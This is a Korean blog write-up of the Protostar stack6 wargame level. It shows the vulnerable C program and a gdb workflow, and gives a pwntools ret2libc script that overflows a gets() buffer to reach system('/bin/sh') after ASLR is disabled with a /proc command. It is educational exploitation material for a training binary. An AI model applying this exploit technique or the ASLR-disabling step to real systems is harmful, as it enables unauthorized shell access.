프로토스타

[프로토스타] stack6 (함정을 지나 ret하기)

-dP- 2019. 1. 15. 15:22

stack6.c


#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }



출처: http://liveoverflow.com/binary_hacking/protostar/stack6.html




1. 문제해결 및 분석



1-1. gdb ./stack6



그 전에



aslr 끄기




echo 0 | sudo tee /proc/sys/kernel/randomize_va_space





stack5처럼 쉘코드를 얻는 것이 목적인데 



stack5와 다르게 if문에서 마스킹 연산을 하고 있다.



그렇다는 것은 ret의 주솟값은 b나 f보다 작아야 한다는 소리이다.



ret에는 system 주솟값이 들어가니까 system은



0x0_______~0xa_______ 혹은 0x_0______~0x_e______까지 가능

 


system은 0xf7로 7이 f보다 작으므로 if에 걸리지 않는다. (system 값은 아래에서 확인)



그러므로 stack5-2처럼 하면 된다.



1-2. disas main






disas main



b *main



r



print system



find /bin/sh


1-3. ret 주소값에 브레이크포인트





disas main



b *main+14



r





pattern create 100을 통해 문자생성



conti



(문자 입력)




1-4. offset 알기





where이나 bt를 통해 


스택 구조를 파악할 수 있다.


코드 영역에서 이미 브레이크 포인트가 걸렸기 때문에


pattern offset 0x41414a41을 한다.



1-5. 코드 작성





from pwn import *


system = p32(0xf7e0cb30)

dummy = p32(0xFFFFFFFF)

bin_sh = p32(0xf7f4caaa) #ASLR 

offset = 80



payload = 'A' * offset + system + dummy + bin_sh

p = process(['stack6'])

p.sendline(payload)

p.interactive()




성공적으로 쉘 권한을 얻었다.



참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/


피드백 환영입니다!